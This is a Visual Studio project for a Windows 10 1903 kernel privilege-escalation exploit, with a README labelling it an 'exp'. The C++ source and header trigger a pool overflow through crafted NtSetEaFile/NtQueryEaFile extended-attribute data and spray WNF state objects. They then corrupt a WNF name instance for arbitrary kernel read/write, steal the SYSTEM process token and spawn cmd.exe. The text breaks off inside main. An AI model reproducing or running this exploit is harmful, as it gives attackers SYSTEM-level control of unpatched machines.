├── README.md
├── ConsoleApplication11.vcxproj.user
├── ConsoleApplication11.vcxproj.filters
├── ConsoleApplication11.vcxproj
├── nt.h
└── ConsoleApplication11.cpp
/README.md:
--------------------------------------------------------------------------------
1 | Working in WIN10 1903 Not a perfect exp
2 |
3 |
4 |
5 | https://bbs.pediy.com/thread-271140.htm
6 |
--------------------------------------------------------------------------------
/ConsoleApplication11.vcxproj.user:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
--------------------------------------------------------------------------------
/ConsoleApplication11.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;hm;inl;inc;ipp;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | 源文件
20 |
21 |
22 |
23 |
24 | 头文件
25 |
26 |
27 |
--------------------------------------------------------------------------------
/ConsoleApplication11.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | Win32
7 |
8 |
9 | Release
10 | Win32
11 |
12 |
13 | Debug
14 | x64
15 |
16 |
17 | Release
18 | x64
19 |
20 |
21 |
22 | 15.0
23 | {266342CC-3306-407C-B320-FB3F5DC212F4}
24 | Win32Proj
25 | ConsoleApplication11
26 | 10.0.19041.0
27 |
28 |
29 |
30 | Application
31 | true
32 | v141
33 | MultiByte
34 | false
35 |
36 |
37 | Application
38 | false
39 | v141
40 | true
41 | MultiByte
42 | false
43 |
44 |
45 | Application
46 | true
47 | v141
48 | MultiByte
49 | false
50 |
51 |
52 | Application
53 | false
54 | v141
55 | true
56 | MultiByte
57 | false
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 | true
79 |
80 |
81 | true
82 |
83 |
84 | false
85 |
86 |
87 | false
88 |
89 |
90 |
91 |
92 |
93 | Level3
94 | Disabled
95 | true
96 | _CRT_SECURE_NO_WARNINGS
97 | true
98 |
99 |
100 | Console
101 | true
102 |
103 |
104 |
105 |
106 |
107 |
108 | Level3
109 | Disabled
110 | true
111 | _CRT_SECURE_NO_WARNINGS
112 | true
113 |
114 |
115 | Console
116 | true
117 |
118 |
119 |
120 |
121 |
122 |
123 | Level3
124 | MaxSpeed
125 | true
126 | true
127 | true
128 | _CRT_SECURE_NO_WARNINGS
129 | true
130 |
131 |
132 | Console
133 | true
134 | true
135 | true
136 |
137 |
138 |
139 |
140 |
141 |
142 | Level3
143 | MaxSpeed
144 | true
145 | true
146 | true
147 | _CRT_SECURE_NO_WARNINGS
148 | true
149 |
150 |
151 | Console
152 | true
153 | true
154 | true
155 |
156 |
157 |
158 |
159 |
160 |
161 |
162 |
163 |
164 |
165 |
166 |
--------------------------------------------------------------------------------
/nt.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 | typedef struct _IO_STATUS_BLOCK {
3 | union {
4 | NTSTATUS Status;
5 | PVOID Pointer;
6 | };
7 | ULONG_PTR Information;
8 | } IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;
9 |
10 |
11 | typedef NTSTATUS(NTAPI*__ZwQueryEaFile)(
12 | HANDLE FileHandle,
13 | PIO_STATUS_BLOCK IoStatusBlock,
14 | PVOID Buffer,
15 | ULONG Length,
16 | BOOLEAN ReturnSingleEntry,
17 | PVOID EaList,
18 | ULONG EaListLength,
19 | PULONG EaIndex,
20 | BOOLEAN RestartScan
21 | );
22 |
23 | typedef NTSTATUS(NTAPI*__ZwSetEaFile)(
24 | HANDLE FileHandle,
25 | PIO_STATUS_BLOCK IoStatusBlock,
26 | PVOID Buffer,
27 | ULONG Length
28 | );
29 |
30 | typedef struct _FILE_FULL_EA_INFORMATION {
31 | ULONG NextEntryOffset;
32 | UCHAR Flags;
33 | UCHAR EaNameLength;
34 | USHORT EaValueLength;
35 | CHAR EaName[1];
36 | } FILE_FULL_EA_INFORMATION, *PFILE_FULL_EA_INFORMATION;
37 |
38 |
39 |
40 | typedef struct _FILE_GET_EA_INFORMATION {
41 | ULONG NextEntryOffset;
42 | UCHAR EaNameLength;
43 | CHAR EaName[1];
44 | } FILE_GET_EA_INFORMATION, *PFILE_GET_EA_INFORMATION;
45 |
46 |
47 | typedef struct _WNF_STATE_NAME {
48 | ULONG Data[2];
49 | } WNF_STATE_NAME, *PWNF_STATE_NAME;
50 |
51 | typedef enum _WNF_STATE_NAME_LIFETIME
52 | {
53 | WnfWellKnownStateName,
54 | WnfPermanentStateName,
55 | WnfPersistentStateName,
56 | WnfTemporaryStateName
57 | } WNF_STATE_NAME_LIFETIME;
58 |
59 |
60 | typedef enum _WNF_DATA_SCOPE
61 | {
62 | WnfDataScopeSystem,
63 | WnfDataScopeSession,
64 | WnfDataScopeUser,
65 | WnfDataScopeProcess,
66 | WnfDataScopeMachine
67 | } WNF_DATA_SCOPE;
68 |
69 |
70 | typedef struct _WNF_TYPE_ID
71 | {
72 | GUID TypeId;
73 | } WNF_TYPE_ID, *PWNF_TYPE_ID;
74 |
75 |
76 | typedef const WNF_TYPE_ID *PCWNF_TYPE_ID;
77 |
78 | typedef NTSTATUS (NTAPI * __NtCreateWnfStateName)(
79 | _Out_ PWNF_STATE_NAME StateName,
80 | _In_ WNF_STATE_NAME_LIFETIME NameLifetime,
81 | _In_ WNF_DATA_SCOPE DataScope,
82 | _In_ BOOLEAN PersistData,
83 | _In_opt_ PCWNF_TYPE_ID TypeId,
84 | _In_ ULONG MaximumStateSize,
85 | _In_ PSECURITY_DESCRIPTOR SecurityDescriptor
86 | );
87 |
88 |
89 |
90 | typedef ULONG WNF_CHANGE_STAMP, *PWNF_CHANGE_STAMP;
91 |
92 | typedef NTSTATUS (NTAPI * __NtUpdateWnfStateData)(
93 | _In_ PWNF_STATE_NAME StateName,
94 | _In_reads_bytes_opt_(Length) const VOID * Buffer,
95 | _In_opt_ ULONG Length,
96 | _In_opt_ PCWNF_TYPE_ID TypeId,
97 | _In_opt_ const PVOID ExplicitScope,
98 | _In_ WNF_CHANGE_STAMP MatchingChangeStamp,
99 | _In_ ULONG CheckStamp);
100 |
101 |
102 |
103 | typedef NTSTATUS (NTAPI * __NtQueryWnfStateData)(
104 | _In_ PWNF_STATE_NAME StateName,
105 | _In_opt_ PWNF_TYPE_ID TypeId,
106 | _In_opt_ const VOID * ExplicitScope,
107 | _Out_ PWNF_CHANGE_STAMP ChangeStamp,
108 | _Out_writes_bytes_to_opt_(*BufferSize, *BufferSize) PVOID Buffer,
109 | _Inout_ PULONG BufferSize);
110 |
111 |
112 |
113 | typedef struct _WNF_STATE_NAME_REGISTRATION
114 | {
115 | PVOID64 MaxStateSize;
116 | PVOID64 TypeId;
117 | PVOID64 SecurityDescriptor;
118 | }WNF_STATE_NAME_REGISTRATION, *PWNF_STATE_NAME_REGISTRATION;
119 |
120 |
121 |
122 | typedef NTSTATUS
123 | (NTAPI * __NtDeleteWnfStateData)
124 | (
125 | _In_ PWNF_STATE_NAME StateName,
126 | _In_opt_ const VOID *ExplicitScope
127 | );
128 |
129 |
130 | typedef NTSTATUS (NTAPI * __NtDeleteWnfStateName)(_In_ PWNF_STATE_NAME StateName);
131 |
132 | extern __ZwSetEaFile NtSetEaFile;
133 | extern __ZwQueryEaFile NtQueryEaFile;
134 | extern __NtCreateWnfStateName NtCreateWnfStateName;
135 | extern __NtUpdateWnfStateData NtUpdateWnfStateData;
136 | extern __NtQueryWnfStateData NtQueryWnfStateData;
137 | extern __NtDeleteWnfStateData NtDeleteWnfStateData;
138 | extern __NtDeleteWnfStateName NtDeleteWnfStateName;
139 |
140 | #define SPRAY_COUNT 10000
141 | #define PAYLOAD_SIZE 1000
142 |
143 |
144 |
145 |
146 |
147 | #define STATE_NAME_MASK 0x41C64E6DA3BC0074
148 | #define TIGGER_EA_NAME ".PA"
149 | #define OVER_EA_NAME ".PBB"
150 |
151 | #define TIGGER_EA_NAME_LENGTH (UCHAR)(strlen(TIGGER_EA_NAME))
152 | #define OVER_EA_NAME_LENGTH (UCHAR)(strlen(OVER_EA_NAME))
153 |
154 |
155 | #define KERNAL_ALLOC_SIZE 0xae
156 |
157 | #define FRIST_RAWSIZE ((KERNAL_ALLOC_SIZE) - (1))
158 | #define TIGGER_EA_VALUE_LENGTH ((FRIST_RAWSIZE) - (TIGGER_EA_NAME_LENGTH) -(9))
159 |
160 | // #define OVER_EA_VALUE_LENGTH (0x53 + 0x10)
161 |
162 | #define OVER_EA_VALUE_LENGTH (0xf)
163 |
164 | //#define OVER_STATENAME (0x517131)
165 |
166 | #define OVER_STATEDATA_LENGTH 0x1000
167 |
168 | extern UINT64 OVER_STATENAME ;
169 | // extern UINT64 TIGGER_STATENAME;
170 | #define TIGGER_STATENAME ((OVER_STATENAME) ^ (0x41C64E6DA3BC0074))
171 | #define PROCESS_LIST_ENTRY_OFFSET 0x248
172 | //NumberOfPrivatePages
173 | #define IMAGE_FILE_NAME_OFFSET 0x398
174 |
175 | struct _WNF_NODE_HEADER
176 | {
177 | USHORT NodeTypeCode; //0x0
178 | USHORT NodeByteSize; //0x2
179 | };
180 |
181 | struct _EX_RUNDOWN_REF
182 | {
183 | union
184 | {
185 | ULONGLONG Count; //0x0
186 | VOID* Ptr; //0x0
187 | };
188 | };
189 |
190 | struct _RTL_BALANCED_NODE
191 | {
192 | union
193 | {
194 | struct _RTL_BALANCED_NODE* Children[2]; //0x0
195 | struct
196 | {
197 | struct _RTL_BALANCED_NODE* Left; //0x0
198 | struct _RTL_BALANCED_NODE* Right; //0x8
199 | };
200 | };
201 | union
202 | {
203 | struct
204 | {
205 | UCHAR Red : 1; //0x10
206 | UCHAR Balance : 2; //0x10
207 | };
208 | ULONGLONG ParentValue; //0x10
209 | };
210 | };
211 |
212 | struct _WNF_STATE_NAME_STRUCT
213 | {
214 | ULONGLONG Version : 4; //0x0
215 | ULONGLONG NameLifetime : 2; //0x0
216 | ULONGLONG DataScope : 4; //0x0
217 | ULONGLONG PermanentData : 1; //0x0
218 | ULONGLONG Sequence : 53; //0x0
219 | };
220 |
221 | struct _EX_PUSH_LOCK
222 | {
223 | union
224 | {
225 | struct
226 | {
227 | ULONGLONG Locked : 1; //0x0
228 | ULONGLONG Waiting : 1; //0x0
229 | ULONGLONG Waking : 1; //0x0
230 | ULONGLONG MultipleShared : 1; //0x0
231 | ULONGLONG Shared : 60; //0x0
232 | };
233 | ULONGLONG Value; //0x0
234 | VOID* Ptr; //0x0
235 | };
236 | };
237 |
238 | struct _WNF_LOCK
239 | {
240 | struct _EX_PUSH_LOCK PushLock; //0x0
241 | };
242 |
243 | struct _RTL_AVL_TREE
244 | {
245 | struct _RTL_BALANCED_NODE* Root; //0x0
246 | };
247 |
248 | struct _WNF_SCOPE_INSTANCE
249 | {
250 | struct _WNF_NODE_HEADER Header; //0x0
251 | struct _EX_RUNDOWN_REF RunRef; //0x8
252 | enum _WNF_DATA_SCOPE DataScope; //0x10
253 | ULONG InstanceIdSize; //0x14
254 | VOID* InstanceIdData; //0x18
255 | struct _LIST_ENTRY ResolverListEntry; //0x20
256 | struct _WNF_LOCK NameSetLock; //0x30
257 | struct _RTL_AVL_TREE NameSet; //0x38
258 | VOID* PermanentDataStore; //0x40
259 | VOID* VolatilePermanentDataStore; //0x48
260 | };
261 |
262 |
263 |
264 |
265 | struct _WNF_STATE_DATA
266 | {
267 | struct _WNF_NODE_HEADER Header; //0x0
268 | ULONG AllocatedSize; //0x4
269 | ULONG DataSize; //0x8
270 | ULONG ChangeStamp; //0xc
271 | };
272 |
273 |
274 |
275 | typedef struct _WNF_NAME_INSTANCE
276 | {
277 | _WNF_NODE_HEADER Header; //0x0
278 | _EX_RUNDOWN_REF RunRef; //0x8
279 | _RTL_BALANCED_NODE TreeLinks; //0x10
280 | _WNF_STATE_NAME_STRUCT StateName; //0x28
281 | _WNF_SCOPE_INSTANCE* ScopeInstance; //0x30
282 | _WNF_STATE_NAME_REGISTRATION StateNameInfo; //0x38
283 | _WNF_LOCK StateDataLock; //0x50
284 | _WNF_STATE_DATA* StateData; //0x58
285 | ULONG CurrentChangeStamp; //0x60
286 | VOID* PermanentDataStore; //0x68
287 | struct _WNF_LOCK StateSubscriptionListLock; //0x70
288 | struct _LIST_ENTRY StateSubscriptionListHead; //0x78
289 | struct _LIST_ENTRY TemporaryNameListEntry; //0x88
290 | PVOID CreatorProcess; //0x98
291 | LONG DataSubscribersCount; //0xa0
292 | LONG CurrentDeliveryCount; //0xa4
293 | }WNF_NAME_INSTANCE, *PWNF_NAME_INSTANCE;
294 |
295 |
296 |
297 | #define PROCESS_ID_OFFSET 0x1b8
298 |
299 | #define TOKEN_OFFSET 0x320
300 |
301 | #define PROCESS_LIST_OFFSET 0x2f0
302 |
303 |
304 |
305 |
306 |
307 |
308 |
309 |
310 |
311 |
312 |
313 |
314 |
--------------------------------------------------------------------------------
/ConsoleApplication11.cpp:
--------------------------------------------------------------------------------
1 | // ConsoleApplication11.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
2 | //
3 |
4 | #include
5 | #include
6 | #include "nt.h"
7 | #include
8 | __ZwQueryEaFile NtQueryEaFile = NULL;
9 | __ZwSetEaFile NtSetEaFile = NULL;
10 | __NtCreateWnfStateName NtCreateWnfStateName = NULL;
11 | __NtUpdateWnfStateData NtUpdateWnfStateData = NULL;
12 | __NtQueryWnfStateData NtQueryWnfStateData = NULL;
13 | __NtDeleteWnfStateData NtDeleteWnfStateData = NULL;
14 | __NtDeleteWnfStateName NtDeleteWnfStateName = NULL;
15 | WNF_STATE_NAME StateNames[SPRAY_COUNT] = { 0 };
16 |
17 | UINT64 OVER_STATENAME = 0;
18 |
19 | int initNtDll()
20 | {
21 | HMODULE hNtDll = NULL;
22 | hNtDll = LoadLibrary("ntdll.dll");
23 | if (hNtDll == NULL)
24 | {
25 | printf("load ntdll failed!\r\n");
26 | return -1;
27 | }
28 | NtQueryEaFile = (__ZwQueryEaFile)GetProcAddress(hNtDll, "NtQueryEaFile");
29 | NtSetEaFile = (__ZwSetEaFile)GetProcAddress(hNtDll, "ZwSetEaFile");
30 | NtCreateWnfStateName = (__NtCreateWnfStateName)GetProcAddress(hNtDll, "NtCreateWnfStateName");
31 | NtUpdateWnfStateData = (__NtUpdateWnfStateData)GetProcAddress(hNtDll, "NtUpdateWnfStateData");
32 | NtQueryWnfStateData = (__NtQueryWnfStateData)GetProcAddress(hNtDll, "NtQueryWnfStateData");
33 | NtDeleteWnfStateData = (__NtDeleteWnfStateData)GetProcAddress(hNtDll, "NtDeleteWnfStateData");
34 | NtDeleteWnfStateName = (__NtDeleteWnfStateName)GetProcAddress(hNtDll, "NtDeleteWnfStateName");
35 | if (NtQueryEaFile == NULL ||
36 | NtSetEaFile == NULL ||
37 | NtCreateWnfStateName == NULL ||
38 | NtUpdateWnfStateData == NULL ||
39 | NtQueryWnfStateData == NULL ||
40 | NtDeleteWnfStateData == NULL ||
41 | NtDeleteWnfStateName == NULL)
42 | {
43 | printf("not found functions\r\n");
44 | return -1;
45 | }
46 |
47 | return 0;
48 | }
49 |
50 | int tiggerLeak()
51 | {
52 | PFILE_GET_EA_INFORMATION EaList = NULL;
53 | PFILE_GET_EA_INFORMATION EaListCP = NULL;
54 | PVOID eaData = NULL;
55 | DWORD dwNumberOfBytesWritten = 0;
56 | UCHAR payLoad[PAYLOAD_SIZE] = { 0 };
57 | PFILE_FULL_EA_INFORMATION curEa = NULL;
58 | HANDLE hFile = INVALID_HANDLE_VALUE;
59 | IO_STATUS_BLOCK eaStatus = { 0 };
60 | NTSTATUS rc;
61 | PWNF_STATE_NAME_REGISTRATION PStateNameInfo = NULL;
62 | PISECURITY_DESCRIPTOR pSecurity = NULL;
63 | PUCHAR pd = NULL;
64 | PUCHAR StateDataLock = NULL;
65 | PUINT64 StateData = NULL;
66 | PUINT64 StateName = NULL;
67 | PUINT64 parent = NULL;
68 | PUINT AllocatedSize = NULL;
69 | PUINT DataSize = NULL;
70 | int state = -1;
71 |
72 |
73 | hFile = CreateFileA("payload",
74 | GENERIC_READ | GENERIC_WRITE,
75 | FILE_SHARE_READ | FILE_SHARE_WRITE,
76 | NULL,
77 | CREATE_ALWAYS,
78 | FILE_ATTRIBUTE_NORMAL,
79 | NULL);
80 |
81 | if (hFile == INVALID_HANDLE_VALUE)
82 | {
83 | printf("create the file failed\r\n");
84 | goto ERROR_HANDLE;
85 | }
86 |
87 |
88 | WriteFile(hFile, "This files has an optional .COMMENTS EA\n",
89 | strlen("This files has an optional .COMMENTS EA\n"),
90 | &dwNumberOfBytesWritten, NULL);
91 |
92 |
93 |
94 |
95 | curEa = (PFILE_FULL_EA_INFORMATION)payLoad;
96 |
97 |
98 | curEa->Flags = 0;
99 |
100 | curEa->EaNameLength = TIGGER_EA_NAME_LENGTH;
101 | curEa->EaValueLength = TIGGER_EA_VALUE_LENGTH;
102 | //align 4。
103 | curEa->NextEntryOffset = (curEa->EaNameLength + curEa->EaValueLength + 3 + 9) & (~3);
104 | memcpy(curEa->EaName, TIGGER_EA_NAME, TIGGER_EA_NAME_LENGTH);
105 | RtlFillMemory(curEa->EaName + curEa->EaNameLength + 1, TIGGER_EA_VALUE_LENGTH, 'A');
106 |
107 |
108 | curEa = (PFILE_FULL_EA_INFORMATION)((PUCHAR)curEa + curEa->NextEntryOffset);
109 | curEa->NextEntryOffset = 0;
110 | curEa->Flags = 0;
111 |
112 | curEa->EaNameLength = OVER_EA_NAME_LENGTH;
113 | curEa->EaValueLength = OVER_EA_VALUE_LENGTH;
114 | memcpy(curEa->EaName, OVER_EA_NAME, OVER_EA_NAME_LENGTH);
115 | RtlFillMemory(curEa->EaName + curEa->EaNameLength + 1, OVER_EA_VALUE_LENGTH, 0);
116 | pd = (PUCHAR)(curEa);
117 |
118 | AllocatedSize = (PUINT)(pd + 0x4 + 0x10);
119 | DataSize = (PUINT)(pd + 0x8 + 0x10);
120 | *AllocatedSize = OVER_STATEDATA_LENGTH;
121 | *DataSize = OVER_STATEDATA_LENGTH;
122 |
123 | rc = NtSetEaFile(hFile, &eaStatus, payLoad, sizeof(payLoad));
124 |
125 |
126 |
127 |
128 | if (rc != 0)
129 | {
130 | printf("NtSetEaFile failed error code is %x\r\n", rc);
131 | goto ERROR_HANDLE;
132 |
133 | }
134 | eaData = malloc(sizeof(payLoad));
135 | if (eaData == NULL)
136 | {
137 | goto ERROR_HANDLE;
138 | }
139 |
140 |
141 | memset(eaData, 0, sizeof(payLoad));
142 |
143 | EaList = (PFILE_GET_EA_INFORMATION)malloc(100);
144 | if (EaList == NULL)
145 | {
146 | goto ERROR_HANDLE;
147 | }
148 | EaListCP = EaList;
149 | memset(EaList, 0, 100);
150 |
151 |
152 |
153 | memcpy(EaList->EaName, ".PA", strlen(".PA"));
154 | EaList->EaNameLength = (UCHAR)strlen(".PA");
155 | EaList->NextEntryOffset = 12; // align 4
156 |
157 |
158 | EaList = (PFILE_GET_EA_INFORMATION)((PUCHAR)EaList + 12);
159 | memcpy(EaList->EaName, ".PBB", strlen(".PBB"));
160 | EaList->EaNameLength = (UCHAR)strlen(".PBB");
161 | EaList->NextEntryOffset = 0;
162 |
163 | rc = NtQueryEaFile(hFile, &eaStatus, eaData, KERNAL_ALLOC_SIZE, FALSE, EaListCP, 100, 0, TRUE);
164 |
165 |
166 | state = 0;
167 |
168 |
169 | ERROR_HANDLE:
170 | if (hFile != INVALID_HANDLE_VALUE)
171 | {
172 | CloseHandle(hFile);
173 | hFile = INVALID_HANDLE_VALUE;
174 | }
175 | if (EaList != NULL)
176 | {
177 | free(EaListCP);
178 | EaList = NULL;
179 | }
180 |
181 | if (eaData != NULL)
182 | {
183 | free(eaData);
184 | eaData = NULL;
185 | }
186 |
187 | if (pSecurity != NULL)
188 | {
189 | free(pSecurity);
190 | pSecurity = NULL;
191 | }
192 | return state;
193 | }
194 |
195 | int HeapSpray()
196 | {
197 | NTSTATUS state = 0;
198 |
199 | PSECURITY_DESCRIPTOR pSD = nullptr;
200 | BYTE upData[0xa0] = { 0 };
201 | RtlFillMemory(upData, sizeof(upData), 'C');
202 | if (!ConvertStringSecurityDescriptorToSecurityDescriptor("",
203 | SDDL_REVISION_1, &pSD, nullptr))
204 | {
205 | return -1;
206 | }
207 |
208 | for (int i = 0; i < SPRAY_COUNT; i++)
209 | {
210 | state = NtCreateWnfStateName(&StateNames[i], WnfTemporaryStateName, WnfDataScopeUser, FALSE, NULL, OVER_STATEDATA_LENGTH, pSD);
211 | if (state != 0)
212 | {
213 | return -1;
214 | }
215 |
216 | }
217 |
218 |
219 | for (int i = 1; i < SPRAY_COUNT; i+=2)
220 | {
221 |
222 | state = NtDeleteWnfStateName(&StateNames[i]);
223 | if (state != 0)
224 | {
225 | return -1;
226 | }
227 | StateNames[i].Data[0] = 0;
228 | StateNames[i].Data[1] = 0;
229 |
230 | state = NtUpdateWnfStateData((PWNF_STATE_NAME)&StateNames[i - 1], &upData, 0xa0, NULL, NULL, NULL, 0);
231 | if (state != 0)
232 | {
233 | return -1;
234 | }
235 | }
236 |
237 |
238 | for (int i = 0; i < SPRAY_COUNT; i += 4)
239 | {
240 | NtDeleteWnfStateData(&StateNames[i], NULL);
241 | state = NtDeleteWnfStateName(&StateNames[i]);
242 | if (state != 0)
243 | {
244 | return -1;
245 | }
246 | StateNames[i].Data[0] = 0;
247 | StateNames[i].Data[1] = 0;
248 |
249 | }
250 |
251 |
252 | if (pSD)
253 | {
254 | LocalFree(pSD);
255 | }
256 |
257 |
258 | return 0;
259 | }
260 |
261 |
262 |
263 |
264 |
265 | int tigger(UINT64 StateName)
266 | {
267 | NTSTATUS state = 0;
268 | UINT64 name = StateName;
269 | BYTE upData[0x74] = { 0 };
270 | RtlFillMemory(upData, sizeof(upData), 'A');
271 | name ^= STATE_NAME_MASK;
272 | state = NtUpdateWnfStateData((PWNF_STATE_NAME)&name, &upData, 0x70, NULL, NULL, NULL, 0);
273 | return state;
274 | }
275 |
276 |
277 |
278 | int OverStateData(PWNF_STATE_NAME StateName, PUCHAR Buff)
279 | {
280 |
281 |
282 | NTSTATUS state = NtUpdateWnfStateData(StateName, (const void*)Buff, OVER_STATEDATA_LENGTH, NULL, NULL, NULL, 0);
283 |
284 | return state;
285 | }
286 |
287 |
288 |
289 | NTSTATUS GetOverStateData(UINT64 StateName, PUCHAR Buff, PULONG size)
290 | {
291 | WNF_CHANGE_STAMP Stamp;
292 | ULONG BufferSize = *size;
293 | UINT64 name = StateName;
294 | name ^= STATE_NAME_MASK;
295 | NTSTATUS state = NtQueryWnfStateData((PWNF_STATE_NAME)&name, NULL, NULL, &Stamp, Buff, &BufferSize);
296 |
297 | if (state != 0)
298 | {
299 | printf(__FUNCTION__ "failed size: %d state: %x\r\n", BufferSize, state);
300 | return state;
301 | }
302 |
303 | *size = BufferSize;
304 | return 0;
305 | }
306 |
307 |
308 | UINT64 GetProcessEprocess(UINT64 StateName, PUINT64 pid, UINT pidOffset=0x120, UINT eprocessOffset=0x128)
309 | {
310 |
311 | UCHAR Buff[0x3000] = { 0 };
312 | ULONG BufferSize = 0x3000;
313 | int state = GetOverStateData(StateName, Buff, &BufferSize);
314 |
315 | if (state != 0)
316 | {
317 | printf(__FUNCTION__"filed %x\r\n", state);
318 | return 0;
319 | }
320 |
321 |
322 |
323 | if (BufferSize == 0) //idle
324 | {
325 | *pid = 0;
326 | return 0;
327 | }
328 | *pid = *((PUINT64)(Buff + pidOffset));
329 | return *((PUINT64)(Buff + eprocessOffset));
330 | }
331 |
332 |
333 | int GetProcessName(UINT64 StateName, PCHAR name)
334 | {
335 | UCHAR Buff[0x5000] = { 0 };
336 | ULONG BufferSize = 0x5000;
337 | int state = GetOverStateData(StateName, Buff, &BufferSize);
338 | if (state != 0)
339 | {
340 | printf(__FUNCTION__"filed %x\r\n", state);
341 | return -1;
342 | }
343 | memcpy(name, Buff, 0x100 - 1);
344 | return 0;
345 | }
346 |
347 | UINT64 GetProcessToken(UINT64 StateName)
348 | {
349 | UCHAR Buff[0x5000] = { 0 };
350 | ULONG BufferSize = 0x5000;
351 | int state = GetOverStateData(StateName, Buff, &BufferSize);
352 | if (state != 0)
353 | {
354 | printf(__FUNCTION__" filed %x\r\n", state);
355 | return -1;
356 | }
357 |
358 | return *(PUINT64)(Buff + 0x30);
359 | }
360 |
361 |
362 |
363 | NTSTATUS EnumProcessEprocess(PWNF_STATE_NAME StateName, PUCHAR Buff)
364 | {
365 |
366 | BOOL Isexist = FALSE;
367 | for (int i = 0; i < SPRAY_COUNT; ++i)
368 | {
369 | if (*(PUINT64)StateName == *((PUINT64)&StateNames[i]))
370 | {
371 | Isexist = TRUE;
372 | }
373 | }
374 | if (Isexist == FALSE)
375 | {
376 | printf("the wnf obj is deleted!!!\r\n");
377 | return -1;
378 | }
379 |
380 | PWNF_NAME_INSTANCE NameIns = (PWNF_NAME_INSTANCE)(Buff + 0xa0 + 0x10);
381 | UINT64 eProcess = (UINT64)NameIns->CreatorProcess;
382 | if (eProcess == 0)
383 | {
384 | return -1;
385 | }
386 | NTSTATUS state = -1;
387 |
388 |
389 | UINT64 entry = (UINT64)(eProcess + PROCESS_ID_OFFSET);
390 | UINT64 systemEProcess = 0;
391 | for (;;)
392 | {
393 | NameIns->StateData = (_WNF_STATE_DATA*)(entry);
394 | state = OverStateData(StateName, Buff);
395 | if (state != 0)
396 | return -1;
397 |
398 | UINT64 pid = 0;
399 | UINT64 next = GetProcessEprocess(*(PULONGLONG)&(NameIns->StateName), &pid);
400 |
401 |
402 |
403 |
404 | // handle idle process
405 | if (pid == 0)
406 | {
407 | entry = entry + 0x269 - PROCESS_ID_OFFSET;
408 |
409 | NameIns->StateData = (_WNF_STATE_DATA*)(entry);
410 | state = OverStateData(StateName, Buff);
411 | if (state != 0)
412 | return -1;
413 | next = GetProcessEprocess(*(PULONGLONG)&(NameIns->StateName), &pid, 0x6f, 0x77);
414 | printf("EPROCESS: %llx PID: %lld\r\n", entry - 0x269, pid);
415 | }
416 |
417 | else
418 | {
419 | printf("EPROCESS: %llx PID: %lld\r\n", entry - PROCESS_ID_OFFSET, pid);
420 | }
421 |
422 |
423 |
424 | if (pid == 4)
425 | {
426 | printf("found system process\r\n");
427 | systemEProcess = entry - PROCESS_ID_OFFSET;
428 | break;
429 | }
430 |
431 |
432 | if (next == 0)
433 | break;
434 |
435 | entry = next - PROCESS_LIST_OFFSET + PROCESS_ID_OFFSET;
436 | }
437 |
438 | if (systemEProcess != 0)
439 | {
440 | NameIns->StateData = (_WNF_STATE_DATA*)(systemEProcess + TOKEN_OFFSET);
441 | state = OverStateData(StateName, Buff);
442 | if (state != 0)
443 | return -1;
444 | UINT64 token = GetProcessToken(*(PULONGLONG)&(NameIns->StateName));
445 |
446 |
447 | UCHAR tokenBuff[0x5000] = { 0 };
448 | ULONG tokenBufferSize = 0x5000;
449 |
450 | NameIns->StateData = (_WNF_STATE_DATA*)(eProcess + TOKEN_OFFSET);
451 | state = OverStateData(StateName, Buff);
452 | if (state != 0)
453 | return -1;
454 |
455 | int state = GetOverStateData(*(PULONGLONG)&(NameIns->StateName), tokenBuff, &tokenBufferSize);
456 | if (state != 0)
457 | {
458 | printf(" filed %x %d\r\n", state, __LINE__);
459 | return -1;
460 | }
461 |
462 |
463 | *(PUINT64)(tokenBuff + 0x30) = token;
464 |
465 | NameIns->StateData = (_WNF_STATE_DATA*)(eProcess + TOKEN_OFFSET + 4);
466 | state = OverStateData(StateName, Buff);
467 | if (state != 0)
468 | {
469 | printf(" filed %x %d\r\n", state , __LINE__);
470 | return -1;
471 | }
472 |
473 |
474 | UINT64 name = *(PULONGLONG)&(NameIns->StateName);
475 | name ^= STATE_NAME_MASK;
476 |
477 |
478 | state = NtUpdateWnfStateData((PWNF_STATE_NAME)(&name), tokenBuff + 4, 0x100, NULL, NULL, NULL, 0);
479 |
480 | if (state != 0)
481 | {
482 | printf("re token failed state: %x\r\n", state);
483 | return -1;
484 | }
485 |
486 | STARTUPINFO StartupInfo = { 0 };
487 | PROCESS_INFORMATION ProcessInformation = { 0 };
488 |
489 | if (!CreateProcess("C:\\Windows\\System32\\cmd.exe",
490 | NULL,
491 | NULL,
492 | NULL,
493 | FALSE,
494 | CREATE_NEW_CONSOLE,
495 | NULL,
496 | NULL,
497 | &StartupInfo,
498 | &ProcessInformation))
499 | {
500 | printf("[-] Failed to Create Target Process: 0x%X\n", GetLastError());
501 | return -1;
502 | }
503 |
504 | WaitForSingleObject(ProcessInformation.hProcess, INFINITE);
505 | }
506 |
507 | return 0;
508 | }
509 |
510 |
511 | int main()
512 | {
513 | BOOL IsSuccess = FALSE;
514 | UINT Count = 0;
515 | PVOID pSelfEprocess = NULL;
516 | if (initNtDll() != 0)
517 | {
518 | printf("initNtDll filed!\r\n");
519 |
520 | goto PAUSE;
521 | }
522 |
523 |
524 | if (HeapSpray() != 0)
525 | {
526 | printf("HeapSpray filed!\r\n");
527 | goto PAUSE;
528 | }
529 |
530 |
531 | RE_TRY:
532 | if (Count++ >= 1000)
533 | {
534 | printf("exp filed!\r\n");
535 | goto PAUSE;
536 | }
537 | if (tiggerLeak() != 0)
538 | {
539 | printf("tigger leak filed!\r\n");
540 | goto PAUSE;
541 | }
542 |
543 |
544 | for (int i = 0; i < SPRAY_COUNT; i += 2)
545 | {
